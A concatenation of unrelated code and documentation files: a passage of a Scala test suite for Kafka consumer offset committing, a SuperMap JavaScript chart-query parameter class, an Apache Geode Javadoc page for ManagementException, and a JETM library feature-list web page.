probe.request(msgss.map(_.size).sum.toLong) msgss.foreach(chunk => mock.enqueue(chunk.map(toRecord))) probe.expectNextN(msgss.flatten) Await.result(control.shutdown(), remainingOrDefault) } def <API key>(mock: Consumer[K, V], groupId: String = "group1", topics: Set[String] = Set("topic")): Source[CommittableMessage[K, V], Control] = Consumer.committableSource( ConsumerSettings .create(system, new StringDeserializer, new StringDeserializer) .withGroupId(groupId) .withConsumerFactory(_ => mock), Subscriptions.topics(topics) ) def <API key>(mock: Consumer[K, V], metadataFromRecord: ConsumerRecord[K, V] => String, groupId: String = "group1", topics: Set[String] = Set("topic")): Source[CommittableMessage[K, V], Control] = Consumer.<API key>( ConsumerSettings .create(system, new StringDeserializer, new StringDeserializer) .withGroupId(groupId) .withCloseTimeout(ConsumerMock.closeTimeout) .withConsumerFactory(_ => mock), Subscriptions.topics(topics), metadataFromRecord ) it should "commit metadata in message" in <API key> { val commitLog = new ConsumerMock.LogHandler() val mock = new ConsumerMock[K, V](commitLog) val (control, probe) = <API key>(mock.mock, (rec: ConsumerRecord[K, V]) => rec.offset.toString) .toMat(TestSink.probe)(Keep.both) .run() val msg = createMessage(1) mock.enqueue(List(toRecord(msg))) probe.request(100) val done = probe.expectNext().committableOffset.commitInternal() awaitAssert { commitLog.calls should have size (1) } val (topicPartition, offsetMeta) = commitLog.calls.head._1.head topicPartition.topic should ===(msg.record.topic()) topicPartition.partition should ===(msg.record.partition()) // committed offset should be the next message the application will consume, i.e. +1 offsetMeta.offset should ===(msg.record.offset() + 1) offsetMeta.metadata should ===(msg.record.offset.toString) //emulate commit commitLog.calls.head match { case (offsets, callback) => callback.onComplete(offsets.asJava, null) } Await.result(done, remainingOrDefault) Await.result(control.shutdown(), remainingOrDefault) } it should "call commitAsync for commit message and then complete future" in <API key> { val commitLog = new ConsumerMock.LogHandler() val mock = new ConsumerMock[K, V](commitLog) val (control, probe) = <API key>(mock.mock) .toMat(TestSink.probe)(Keep.both) .run() val msg = createMessage(1) mock.enqueue(List(toRecord(msg))) probe.request(100) val done = probe.expectNext().committableOffset.commitInternal() awaitAssert { commitLog.calls should have size (1) } val (topicPartition, offsetMeta) = commitLog.calls.head._1.head topicPartition.topic should ===(msg.record.topic()) topicPartition.partition should ===(msg.record.partition()) // committed offset should be the next message the application will consume, i.e. +1 offsetMeta.offset should ===(msg.record.offset() + 1) //emulate commit commitLog.calls.head match { case (offsets, callback) => callback.onComplete(offsets.asJava, null) } Await.result(done, remainingOrDefault) Await.result(control.shutdown(), remainingOrDefault) } it should "fail future in case of commit fail" in <API key> { val commitLog = new ConsumerMock.LogHandler() val mock = new ConsumerMock[K, V](commitLog) val (control, probe) = <API key>(mock.mock) .toMat(TestSink.probe)(Keep.both) .run() val msg = createMessage(1) mock.enqueue(List(toRecord(msg))) probe.request(100) val done = probe.expectNext().committableOffset.commitInternal() awaitAssert { commitLog.calls should have size (1) } //emulate commit failure val failure = new Exception() commitLog.calls.head match { case (offsets, callback) => callback.onComplete(null, failure) } intercept[Exception] { Await.result(done, remainingOrDefault) } should be(failure) Await.result(control.shutdown(), remainingOrDefault) } it should "collect commits to be sent to commitAsync" in <API key> { val commitLog = new ConsumerMock.LogHandler() val mock = new ConsumerMock[K, V](commitLog) val (control, probe) = <API key>(mock.mock) .toMat(TestSink.probe)(Keep.both) .run() val count = 100 val msgs = (1 to count).map(createMessage) mock.enqueue(msgs.map(toRecord)) probe.request(count.toLong) val allCommits = Future.sequence(probe.expectNextN(count.toLong).map(_.committableOffset.commitInternal())) withClue("the commits are aggregated to a low number of calls to commitAsync:") { awaitAssert { val callsToCommitAsync = commitLog.calls.size callsToCommitAsync should be >= 1 callsToCommitAsync should be < count / 10 } } //emulate commit commitLog.calls.foreach { case (offsets, callback) => callback.onComplete(offsets.asJava, null) } allCommits.futureValue should have size (count.toLong) control.shutdown().futureValue shouldBe Done } it should "support commit batching" in <API key> { val commitLog = new ConsumerMock.LogHandler() val mock = new ConsumerMock[K, V](commitLog) val (control, probe) = <API key>(mock.mock, topics = Set("topic1", "topic2")) .toMat(TestSink.probe)(Keep.both) .run() val msgsTopic1 = (1 to 3).map(createMessage(_, "topic1")) val msgsTopic2 = (11 to 13).map(createMessage(_, "topic2")) mock.enqueue(msgsTopic1.map(toRecord)) mock.enqueue(msgsTopic2.map(toRecord)) probe.request(100) val batch = probe .expectNextN(6) .map(_.committableOffset) .foldLeft(<API key>.empty)(_.updated(_)) val done = batch.commitInternal() awaitAssert { commitLog.calls should have size (1) } val commitMap = commitLog.calls.head._1 commitMap(new TopicPartition("topic1", 1)).offset should ===(msgsTopic1.last.record.offset() + 1) commitMap(new TopicPartition("topic2", 1)).offset should ===(msgsTopic2.last.record.offset() + 1) //emulate commit commitLog.calls.foreach { case (offsets, callback) => callback.onComplete(offsets.asJava, null) } Await.result(done, remainingOrDefault) Await.result(control.shutdown(), remainingOrDefault) } it should "support commit batching with metadata" in <API key> { val commitLog = new ConsumerMock.LogHandler() val mock = new ConsumerMock[K, V](commitLog) val (control, probe) = <API key>(mock.mock, (rec: ConsumerRecord[K, V]) => rec.offset.toString, topics = Set("topic1", "topic2")) .toMat(TestSink.probe)(Keep.both) .run() val msgsTopic1 = (1 to 3).map(createMessage(_, "topic1")) val msgsTopic2 = (11 to 13).map(createMessage(_, "topic2")) mock.enqueue(msgsTopic1.map(toRecord)) mock.enqueue(msgsTopic2.map(toRecord)) probe.request(100) val batch = probe .expectNextN(6) .map(_.committableOffset) .foldLeft(<API key>.empty)(_.updated(_)) val done = batch.commitInternal() awaitAssert { commitLog.calls should have size (1) } val commitMap = commitLog.calls.head._1 commitMap(new TopicPartition("topic1", 1)).offset should ===(msgsTopic1.last.record.offset() + 1) commitMap(new TopicPartition("topic2", 1)).offset should ===(msgsTopic2.last.record.offset() + 1) commitMap(new TopicPartition("topic1", 1)).metadata() should ===(msgsTopic1.last.record.offset().toString) commitMap(new TopicPartition("topic2", 1)).metadata() should ===(msgsTopic2.last.record.offset().toString) //emulate commit commitLog.calls.foreach { case (offsets, callback) => callback.onComplete(offsets.asJava, null) } Await.result(done, remainingOrDefault) Await.result(control.shutdown(), remainingOrDefault) } it should "support merging commit batches with metadata" in <API key> { val commitLog = new ConsumerMock.LogHandler() val mock = new ConsumerMock[K, V](commitLog) val (control, probe) = <API key>(mock.mock, (rec: ConsumerRecord[K, V]) => rec.offset.toString, topics = Set("topic1", "topic2")) .toMat(TestSink.probe)(Keep.both) .run() val msgsTopic1 = (1 to 3).map(createMessage(_, "topic1")) val msgsTopic2 = (11 to 13).map(createMessage(_, "topic2")) mock.enqueue(msgsTopic1.map(toRecord)) mock.enqueue(msgsTopic2.map(toRecord)) probe.request(100) val batch = probe .expectNextN(6) .map(_.committableOffset) .grouped(2) .map(_.foldLeft(<API key>.empty)(_ updated _)) .foldLeft(<API key>.empty)(_ updated _) val done = batch.commitInternal() awaitAssert { commitLog.calls should have size (1) } val commitMap = commitLog.calls.head._1 commitMap(new TopicPartition("topic1", 1)).offset should ===(msgsTopic1.last.record.offset() + 1) commitMap(new TopicPartition("topic2", 1)).offset should ===(msgsTopic2.last.record.offset() + 1) commitMap(new TopicPartition("topic1", 1)).metadata() should ===(msgsTopic1.last.record.offset().toString) commitMap(new TopicPartition("topic2", 1)).metadata() should ===(msgsTopic2.last.record.offset().toString) //emulate commit commitLog.calls.foreach { case (offsets, callback) => callback.onComplete(offsets.asJava, null) } Await.result(done, remainingOrDefault) Await.result(control.shutdown(), remainingOrDefault) } //FIXME looks like current implementation of batch committer is incorrect it should "support commit batching from more than one stage" in <API key> { val commitLog1 = new ConsumerMock.LogHandler() val commitLog2 = new ConsumerMock.LogHandler() val mock1 = new ConsumerMock[K, V](commitLog1) val mock2 = new ConsumerMock[K, V](commitLog2) val (control1, probe1) = <API key>(mock1.mock, "group1", Set("topic1", "topic2")) .toMat(TestSink.probe)(Keep.both) .run() val (control2, probe2) = <API key>(mock2.mock, "group2", Set("topic1", "topic3")) .toMat(TestSink.probe)(Keep.both) .run() val msgs1a = (1 to 3).map(createMessage(_, "topic1", "group1")) val msgs1b = (11 to 13).map(createMessage(_, "topic2", "group1")) mock1.enqueue(msgs1a.map(toRecord)) mock1.enqueue(msgs1b.map(toRecord)) val msgs2a = (1 to 3).map(createMessage(_, "topic1", "group2")) val msgs2b = (11 to 13).map(createMessage(_, "topic3", "group2")) mock2.enqueue(msgs2a.map(toRecord)) mock2.enqueue(msgs2b.map(toRecord)) probe1.request(100) probe2.request(100) val batch1 = probe1 .expectNextN(6) .map(_.committableOffset) .foldLeft(<API key>.empty)(_.updated(_)) val batch2 = probe2 .expectNextN(6) .map(_.committableOffset) .foldLeft(batch1)(_.updated(_)) val done2 = batch2.commitInternal() awaitAssert { commitLog1.calls should have size (1) commitLog2.calls should have size (1) } val commitMap1 = commitLog1.calls.head._1 commitMap1(new TopicPartition("topic1", 1)).offset should ===(msgs1a.last.record.offset() + 1) commitMap1(new TopicPartition("topic2", 1)).offset should ===(msgs1b.last.record.offset() + 1) val commitMap2 = commitLog2.calls.head._1 commitMap2(new TopicPartition("topic1", 1)).offset should ===(msgs2a.last.record.offset() + 1) commitMap2(new TopicPartition("topic3", 1)).offset should ===(msgs2b.last.record.offset() + 1) //emulate commit commitLog1.calls.foreach { case (offsets, callback) => callback.onComplete(offsets.asJava, null) } commitLog2.calls.foreach { case (offsets, callback) => callback.onComplete(offsets.asJava, null) } Await.result(done2, remainingOrDefault) Await.result(control1.shutdown(), remainingOrDefault) Await.result(control2.shutdown(), remainingOrDefault) } // Same logic as "support commit batching with metadata" above "Tell committing" should "support commit batching with metadata" in <API key> { val commitLog = new ConsumerMock.LogHandler() val mock = new ConsumerMock[K, V](commitLog) val (control, probe) = <API key>(mock.mock, (rec: ConsumerRecord[K, V]) => rec.offset.toString, topics = Set("topic1", "topic2")) .toMat(TestSink.probe)(Keep.both) .run() val msgsTopic1 = (1 to 3).map(createMessage(_, "topic1")) val msgsTopic2 = (11 to 13).map(createMessage(_, "topic2")) mock.enqueue(msgsTopic1.map(toRecord)) mock.enqueue(msgsTopic2.map(toRecord)) probe.request(100) val batch = probe .expectNextN(6) .map(_.committableOffset) .foldLeft(<API key>.empty)(_.updated(_)) batch.tellCommit() awaitAssert { commitLog.calls should have size (1) } val commitMap = commitLog.calls.head._1 commitMap(new TopicPartition("topic1", 1)).offset should ===(msgsTopic1.last.record.offset() + 1) commitMap(new TopicPartition("topic2", 1)).offset should ===(msgsTopic2.last.record.offset() + 1) commitMap(new TopicPartition("topic1", 1)).metadata() should ===(msgsTopic1.last.record.offset().toString) commitMap(new TopicPartition("topic2", 1)).metadata() should ===(msgsTopic2.last.record.offset().toString) //emulate commit commitLog.calls.foreach { case (offsets, callback) => callback.onComplete(offsets.asJava, null) } Await.result(control.shutdown(), remainingOrDefault) } "Committer.flow" should "fail in case of an exception during commit" in <API key> { val committerSettings = CommitterSettings(system) .withMaxBatch(1L) val commitLog = new internal.ConsumerMock.LogHandler() val mock = new ConsumerMock[K, V](commitLog) val msg = createMessage(1) mock.enqueue(List(toRecord(msg))) val (control, probe) = <API key>(mock.mock) .map(_.committableOffset) .toMat(Committer.sink(committerSettings))(Keep.both) .run() awaitAssert { commitLog.calls should have size 1 } emulateFailedCommit(commitLog) probe.failed.futureValue shouldBe a[<API key>] control.shutdown().futureValue shouldBe Done } it should "recover with supervision in case of commit fail" in <API key> { val committerSettings = CommitterSettings(system) .withMaxBatch(1L) val commitLog = new ConsumerMock.LogHandler() val mock = new ConsumerMock[K, V](commitLog) val msg = createMessage(1) mock.enqueue(List(toRecord(msg))) val <API key>: Supervision.Decider = { case _: <API key> => Supervision.Resume case _ => Supervision.Stop } val (control, probe) = <API key>(mock.mock) .map(_.committableOffset) .toMat( Committer .sink(committerSettings) .withAttributes(ActorAttributes.supervisionStrategy(<API key>)) )(Keep.both) .run() awaitAssert { commitLog.calls should have size 1 } emulateFailedCommit(commitLog) control.shutdown().futureValue shouldBe Done probe.futureValue shouldBe Done } private def emulateFailedCommit(commitLog: ConsumerMock.LogHandler): Unit = { val failure = new <API key>() commitLog.calls.head match { case (_, callback) => callback.onComplete(null, failure) } } }
/** * @requires SuperMap/Util.js * @requires SuperMap/REST.js */ /** * Class: SuperMap.REST.<API key> * * queryMode * queryModechartLayerNames<API key>bounds */ SuperMap.REST.<API key> = SuperMap.Class({ /** * APIProperty: queryMode * {String} SuperMap iClient for JavaScript * "ChartAttributeQuery" * "ChartBoundsQuery" */ queryMode:null, /** * APIProperty: bounds * {<SuperMap.Bounds>} */ bounds:null, /** * APIProperty: chartLayerNames * {Array(String)} */ chartLayerNames:null, /** * APIProperty: <API key> * {Array <SuperMap.REST.<API key>>} * * */ <API key>:null, /** * Property: returnContent * {Boolean} recordsets * resourceInfo true recordsets * * note: Recordsets ResourceInfo QueryResult * * (start code) * ReturnContent = true * (end) * * * (start code) * QueryResult.Recordsets * (end) * * (start code) * QueryResult.ResourceInfo * (end) * * (start code) * ReturnContent = false * (end) * * (start code) * QueryResult.ResourceInfo * (end) * * (start code) * QueryResult.Recordsets * (end) * */ returnContent:true, /** * APIProperty: startRecord * {Number} 0 */ startRecord:0, /** * APIProperty: expectCount * {Number} 0 */ expectCount:null, /** * Constructor: SuperMap.REST.<API key> * <API key> * * Parameters: * options - {Object} * * Allowed options properties: * queryMode - {String} SuperMap iClient for JavaScript * "ChartAttributeQuery" * "ChartBoundsQuery" * bounds - {<SuperMap.Bounds>} * chartLayerNames - {Array(String)} * <API key> - {Array <SuperMap.REST.<API key>>} * * * returnContent - {Boolean} recordsets * resourceInfo true recordsets * startRecord - {Number} 0 * expectCount - {Number} 0 */ initialize:function (options) { if (!options) { return; } SuperMap.Util.extend(this, options); }, /** * APIMethod: destroy * */ destroy:function () { var me = this; me.queryMode = null; me.bounds = null; me.chartLayerNames = null; me.<API key> = null; me.returnContent = true; me.startRecord = 0; me.expectCount = null; }, /** * Method: getVariablesJson * JSON */ getVariablesJson:function () { var json=""; json += "\"queryMode\":\"" + this.queryMode + "\","; if (this.chartLayerNames && this.chartLayerNames.length) { var chartLayersArray = []; var layerLength = this.chartLayerNames.length; for (var i = 0; i < layerLength; i++) { chartLayersArray.push("\""+this.chartLayerNames[i]+"\""); } var layerNames = "[" + chartLayersArray.join(",") + "]"; json += "\"chartLayerNames\":" + layerNames + ","; } if (this.queryMode === "ChartBoundsQuery" && this.bounds) { json += "\"bounds\":" + "{" + "\"leftBottom\":" + "{" + "\"x\":" + this.bounds.left + "," + "\"y\":" + this.bounds.bottom + "}" + "," + "\"rightTop\":" + "{" + "\"x\":" + this.bounds.right + "," + "\"y\":" + this.bounds.top + "}" + "},"; } if (this.<API key> && this.<API key>.length) { var chartParamArray = []; var chartLength = this.<API key>.length; for (var j = 0; j < chartLength; j++) { var <API key> = new SuperMap.REST.<API key>(); <API key> = this.<API key>[j]; chartParamArray.push(<API key>.toJson()); } var chartParamsJson = "[" + chartParamArray.join(",") + "]"; chartParamsJson = "\"chartQueryParams\":" + chartParamsJson + ","; chartParamsJson += "\"startRecord\":" + this.startRecord + ","; chartParamsJson += "\"expectCount\":" + this.expectCount; chartParamsJson = "{" + chartParamsJson + "}"; json += "\"<API key>\":" + chartParamsJson; } json = "{" + json + "}"; return json; }, CLASS_NAME:"SuperMap.REST.<API key>" })
<!DOCTYPE HTML PUBLIC "- <!-- NewPage --> <html lang="en"> <head> <!-- Generated by javadoc (1.8.0_66-internal) on Wed Apr 13 11:47:04 PDT 2016 --> <title>ManagementException (Apache Geode 1.0.0-incubating.M2)</title> <meta name="date" content="2016-04-13"> <link rel="stylesheet" type="text/css" href="../../../../stylesheet.css" title="Style"> <script type="text/javascript" src="../../../../script.js"></script> </head> <body> <script type="text/javascript"><! try { if (location.href.indexOf('is-external=true') == -1) { parent.document.title="ManagementException (Apache Geode 1.0.0-incubating.M2)"; } } catch(err) { } </script> <noscript> <div>JavaScript is disabled on your browser.</div> </noscript> <div class="topNav"><a name="navbar.top"> </a> <div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.top.firstrow"> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-all.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../com/gemstone/gemfire/management/LockServiceMXBean.html" title="interface in com.gemstone.gemfire.management"><span class="typeNameLink">Prev&nbsp;Class</span></a></li> <li><a href="../../../../com/gemstone/gemfire/management/ManagementService.html" title="class in com.gemstone.gemfire.management"><span class="typeNameLink">Next&nbsp;Class</span></a></li> </ul> <ul class="navList"> <li><a href="../../../../index.html?com/gemstone/gemfire/management/ManagementException.html" target="_top">Frames</a></li> <li><a href="ManagementException.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="<API key>"> <li><a href="../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><! allClassesLink = document.getElementById("<API key>"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } </script> </div> <div> <ul class="subNavList"> <li>Summary:&nbsp;</li> <li>Nested&nbsp;|&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li><a href="#constructor.summary">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#methods.inherited.from.class.com.gemstone.gemfire.GemFireException">Method</a></li> </ul> <ul class="subNavList"> <li>Detail:&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li><a href="#constructor.detail">Constr</a>&nbsp;|&nbsp;</li> <li>Method</li> </ul> </div> <a name="skip.navbar.top"> </a></div> <div class="header"> <div class="subTitle">com.gemstone.gemfire.management</div> <h2 title="Class ManagementException" class="title">Class ManagementException</h2> </div> <div class="contentContainer"> <ul class="inheritance"> <li>java.lang.Object</li> <li> <ul class="inheritance"> <li>java.lang.Throwable</li> <li> <ul class="inheritance"> <li>java.lang.Exception</li> <li> <ul class="inheritance"> <li>java.lang.RuntimeException</li> <li> <ul class="inheritance"> <li><a href="../../../../com/gemstone/gemfire/GemFireException.html" title="class in com.gemstone.gemfire">com.gemstone.gemfire.GemFireException</a></li> <li> <ul class="inheritance"> <li>com.gemstone.gemfire.management.ManagementException</li> </ul> </li> </ul> </li> </ul> </li> </ul> </li> </ul> </li> </ul> <div class="description"> <ul class="blockList"> <li class="blockList"> <dl> <dt>All Implemented Interfaces:</dt> <dd>java.io.Serializable</dd> </dl> <dl> <dt>Direct Known Subclasses:</dt> <dd><a href="../../../../com/gemstone/gemfire/management/<API key>.html" title="class in com.gemstone.gemfire.management"><API key></a></dd> </dl> <hr> <br> <pre>public class <span class="typeNameLabel">ManagementException</span> extends <a href="../../../../com/gemstone/gemfire/GemFireException.html" title="class in com.gemstone.gemfire">GemFireException</a></pre> <div class="block">A <code>ManagementException</code> is a general exception that may be thrown when any administration or monitoring operation on a GemFire component fails. Various management and monitoring exceptions are wrapped in <code>ManagementException<code>s.</div> <dl> <dt><span class="simpleTagLabel">Since:</span></dt> <dd>7.0</dd> <dt><span class="seeLabel">See Also:</span></dt> <dd><a href="../../../../serialized-form.html#com.gemstone.gemfire.management.ManagementException">Serialized Form</a></dd> </dl> </li> </ul> </div> <div class="summary"> <ul class="blockList"> <li class="blockList"> <ul class="blockList"> <li class="blockList"><a name="constructor.summary"> </a> <h3>Constructor Summary</h3> <table class="memberSummary" border="0" cellpadding="3" cellspacing="0" summary="Constructor Summary table, listing constructors, and an explanation"> <caption><span>Constructors</span><span class="tabEnd">&nbsp;</span></caption> <tr> <th class="colOne" scope="col">Constructor and Description</th> </tr> <tr class="altColor"> <td class="colOne"><code><span class="memberNameLink"><a href="../../../../com/gemstone/gemfire/management/ManagementException.html#ManagementException--">ManagementException</a></span>()</code> <div class="block">Constructs a new exception with a <code>null</code> detail message.</div> </td> </tr> <tr class="rowColor"> <td class="colOne"><code><span class="memberNameLink"><a href="../../../../com/gemstone/gemfire/management/ManagementException.html#<API key>.lang.String-">ManagementException</a></span>(java.lang.String&nbsp;message)</code> <div class="block">Constructs a new exception with the specified detail message.</div> </td> </tr> <tr class="altColor"> <td class="colOne"><code><span class="memberNameLink"><a href="../../../../com/gemstone/gemfire/management/ManagementException.html#<API key>.lang.String-java.lang.Throwable-">ManagementException</a></span>(java.lang.String&nbsp;message, java.lang.Throwable&nbsp;cause)</code> <div class="block">Constructs a new ManagementException with the specified detail message and cause.</div> </td> </tr> <tr class="rowColor"> <td class="colOne"><code><span class="memberNameLink"><a href="../../../../com/gemstone/gemfire/management/ManagementException.html#<API key>.lang.Throwable-">ManagementException</a></span>(java.lang.Throwable&nbsp;cause)</code> <div class="block">Constructs a new ManagementException by wrapping the specified cause.</div> </td> </tr> </table> </li> </ul> <ul class="blockList"> <li class="blockList"><a name="method.summary"> </a> <h3>Method Summary</h3> <ul class="blockList"> <li class="blockList"><a name="methods.inherited.from.class.com.gemstone.gemfire.GemFireException"> </a> <h3>Methods inherited from class&nbsp;com.gemstone.gemfire.<a href="../../../../com/gemstone/gemfire/GemFireException.html" title="class in com.gemstone.gemfire">GemFireException</a></h3> <code><a href="../../../../com/gemstone/gemfire/GemFireException.html#getRootCause--">getRootCause</a></code></li> </ul> <ul class="blockList"> <li class="blockList"><a name="methods.inherited.from.class.java.lang.Throwable"> </a> <h3>Methods inherited from class&nbsp;java.lang.Throwable</h3> <code>addSuppressed, fillInStackTrace, getCause, getLocalizedMessage, getMessage, getStackTrace, getSuppressed, initCause, printStackTrace, printStackTrace, printStackTrace, setStackTrace, toString</code></li> </ul> <ul class="blockList"> <li class="blockList"><a name="methods.inherited.from.class.java.lang.Object"> </a> <h3>Methods inherited from class&nbsp;java.lang.Object</h3> <code>clone, equals, finalize, getClass, hashCode, notify, notifyAll, wait, wait, wait</code></li> </ul> </li> </ul> </li> </ul> </div> <div class="details"> <ul class="blockList"> <li class="blockList"> <ul class="blockList"> <li class="blockList"><a name="constructor.detail"> </a> <h3>Constructor Detail</h3> <a name="ManagementException </a> <ul class="blockList"> <li class="blockList"> <h4>ManagementException</h4> <pre>public&nbsp;ManagementException()</pre> <div class="block">Constructs a new exception with a <code>null</code> detail message. The cause is not initialized, and may subsequently be initialized by a call to <code>Throwable.initCause(java.lang.Throwable)</code>.</div> </li> </ul> <a name="<API key>.lang.String-"> </a> <ul class="blockList"> <li class="blockList"> <h4>ManagementException</h4> <pre>public&nbsp;ManagementException(java.lang.String&nbsp;message)</pre> <div class="block">Constructs a new exception with the specified detail message. The cause is not initialized and may subsequently be initialized by a call to <code>Throwable.initCause(java.lang.Throwable)</code>.</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>message</code> - The detail message.</dd> </dl> </li> </ul> <a name="<API key>.lang.String-java.lang.Throwable-"> </a> <ul class="blockList"> <li class="blockList"> <h4>ManagementException</h4> <pre>public&nbsp;ManagementException(java.lang.String&nbsp;message, java.lang.Throwable&nbsp;cause)</pre> <div class="block">Constructs a new ManagementException with the specified detail message and cause. <p> Note that the detail message associated with <code>cause</code> is <i>not</i> automatically incorporated in this runtime exception's detail message.</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>message</code> - The detail message.</dd> <dd><code>cause</code> - The cause of this exception or <code>null</code> if the cause is unknown.</dd> </dl> </li> </ul> <a name="<API key>.lang.Throwable-"> </a> <ul class="blockListLast"> <li class="blockList"> <h4>ManagementException</h4> <pre>public&nbsp;ManagementException(java.lang.Throwable&nbsp;cause)</pre> <div class="block">Constructs a new ManagementException by wrapping the specified cause. The detail for this exception will be null if the cause is null or cause.toString() if a cause is provided.</div> <dl> <dt><span class="paramLabel">Parameters:</span></dt> <dd><code>cause</code> - The cause of this exception or <code>null</code> if the cause is unknown.</dd> </dl> </li> </ul> </li> </ul> </li> </ul> </div> </div> <div class="bottomNav"><a name="navbar.bottom"> </a> <div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div> <a name="navbar.bottom.firstrow"> </a> <ul class="navList" title="Navigation"> <li><a href="../../../../overview-summary.html">Overview</a></li> <li><a href="package-summary.html">Package</a></li> <li class="navBarCell1Rev">Class</li> <li><a href="package-tree.html">Tree</a></li> <li><a href="../../../../deprecated-list.html">Deprecated</a></li> <li><a href="../../../../index-all.html">Index</a></li> <li><a href="../../../../help-doc.html">Help</a></li> </ul> </div> <div class="subNav"> <ul class="navList"> <li><a href="../../../../com/gemstone/gemfire/management/LockServiceMXBean.html" title="interface in com.gemstone.gemfire.management"><span class="typeNameLink">Prev&nbsp;Class</span></a></li> <li><a href="../../../../com/gemstone/gemfire/management/ManagementService.html" title="class in com.gemstone.gemfire.management"><span class="typeNameLink">Next&nbsp;Class</span></a></li> </ul> <ul class="navList"> <li><a href="../../../../index.html?com/gemstone/gemfire/management/ManagementException.html" target="_top">Frames</a></li> <li><a href="ManagementException.html" target="_top">No&nbsp;Frames</a></li> </ul> <ul class="navList" id="<API key>"> <li><a href="../../../../allclasses-noframe.html">All&nbsp;Classes</a></li> </ul> <div> <script type="text/javascript"><! allClassesLink = document.getElementById("<API key>"); if(window==top) { allClassesLink.style.display = "block"; } else { allClassesLink.style.display = "none"; } </script> </div> <div> <ul class="subNavList"> <li>Summary:&nbsp;</li> <li>Nested&nbsp;|&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li><a href="#constructor.summary">Constr</a>&nbsp;|&nbsp;</li> <li><a href="#methods.inherited.from.class.com.gemstone.gemfire.GemFireException">Method</a></li> </ul> <ul class="subNavList"> <li>Detail:&nbsp;</li> <li>Field&nbsp;|&nbsp;</li> <li><a href="#constructor.detail">Constr</a>&nbsp;|&nbsp;</li> <li>Method</li> </ul> </div> <a name="skip.navbar.bottom"> </a></div> </body> </html>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http: <html xmlns="http: <head> <meta http-equiv="content-type" content="text/html; charset=ISO-8859-1"/> <title>Java(TM) Execution Time Measurement Library</title> <link rel="stylesheet" type="text/css" href="default.css"/> </head> <body> <div class="menu"> <a href="index.html">Home</a> | <a href="doc.html"><b>Documentation</b></a> | <a href="faq.html">FAQ</a> | <a href="../api/index.html">JavaDoc</a> | <a href="files.html"><b>Download</b></a> | <a href="svn.html">SVN</a> | <a href="http://sourceforge.net/mail/?group_id=109626">Mailing Lists</a> | <a href="http://sourceforge.net/projects/jetm/">Sourceforge Project Page</a> </div> <div id="content"> <div id="header">Java&trade; Execution Time Measurement Library</div> <div id="subheader">Runtime performance monitoring made easy</div> <div id="main"> <h3>JETM Featureset</h3> <p> Obviously the best way to explore JETM features is looking at the <a href="http://jetm.void.fm/jetm-demo/">online demo application</a>. Nevertheless this page lists the current JETM feature set. </p> <h4>JETM Core Features</h4> <ul> <li>Declarative and programmatic performance monitoring</li> <li>Flat and nested (tree-based) recording</li> <li>Low overhead - can and <b>should</b> be used in production</li> <li>Pluggable result visualization including HTML, Swing and Standard Out</li> <li>Simple setup and integration</li> <li>No VM level instrumentation requirement, JETM can and should be used per deployment unit</li> <li>Persistent performance results</li> </ul> <h4>Supported JDKs (tested, but not limited to)</h4> <ul> <li>Sun JDK 1.3, 1.4, 5.0, 6.0</li> <li>Bea JRockit</li> </ul> <h4>Supported timers</h4> <ul> <li>java.lang.System#nanoTime</li> <li>sun.misc.Perf</li> <li>java.lang.System#currentTimeMillis()</li> </ul> <h4>Framework integrations</h4> <ul> <li>Declarative performance monitoring using <a href="howto/spring_integration.html">Springframework</a> AOP, <a href="howto/<API key>.html">AspectWerkz</a> and other AOP Alliance Frameworks </li> <li>Build-in <a href="howto/drop-in-console.html">HTTP Server</a> for performance monitoring</li> <li>Raw Data Logging using <a href="http://logging.apache.org/log4j">Log4J</a>, <a href="http://jakarta.apache.org/commons/logging/">commons-logging</a> and <i>java.util.logging</i></li> <li>Result visualization using <a href="http://rrd4j.dev.java.net/">RRD4j</a></li> <li>Simple JMX Integration</li> </ul> </div> </div> <div class="menu"> <a href="index.html">Home</a> | <a href="doc.html"><b>Documentation</b></a> | <a href="faq.html">FAQ</a> | <a href="../api/index.html">JavaDoc</a> | <a href="files.html"><b>Download</b></a> | <a href="svn.html">SVN</a> | <a href="http://sourceforge.net/mail/?group_id=109626">Mailing Lists</a> | <a href="http://sourceforge.net/projects/jetm/">Sourceforge Project Page</a> </div> </body> </html>
